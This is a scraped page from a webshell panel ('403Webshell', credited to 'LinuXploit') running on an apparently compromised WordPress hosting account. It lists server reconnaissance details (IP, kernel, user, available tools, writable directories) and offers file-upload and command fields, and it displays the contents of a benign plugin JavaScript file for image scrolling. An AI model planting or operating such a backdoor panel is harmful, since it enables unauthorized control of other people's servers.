403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/blueversionx/wp-content/plugins/trx_addons/addons/image-scroll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/blueversionx/wp-content/plugins/trx_addons/addons/image-scroll/image-scroll.js
/* global jQuery */

(function() {

	"use strict";

	var $window   = jQuery( window ),
		$document = jQuery( document ),
		$body     = jQuery( 'body' );

	var $images_scroll;

	// Update global values
	$document.on( 'action.resize_trx_addons', function() {
		images_scroll_detect_width();
	} );

	// Update links and values after the new post added
	$document.on( 'action.got_ajax_response', update_jquery_links );
	$document.on( 'action.init_hidden_elements', update_jquery_links );
	var first_run = true;
	function update_jquery_links(e) {
		if ( first_run && e && e.namespace == 'init_hidden_elements' ) {
			first_run = false;
			return; 
		}
		$images_scroll = jQuery('.trx_addons_image_scroll_direction_left,.trx_addons_image_scroll_direction_right');
		images_scroll_detect_width();
	}
	update_jquery_links();

	function images_scroll_detect_width() {
		$images_scroll.each( function() {
			var $img = jQuery(this);
			$img.get(0).style.setProperty( '--trx-addons-image-scroll-width', $img.width()+'px' );
		} );
	}

})();

Youez - 2016 - github.com/yon3zu
LinuXploit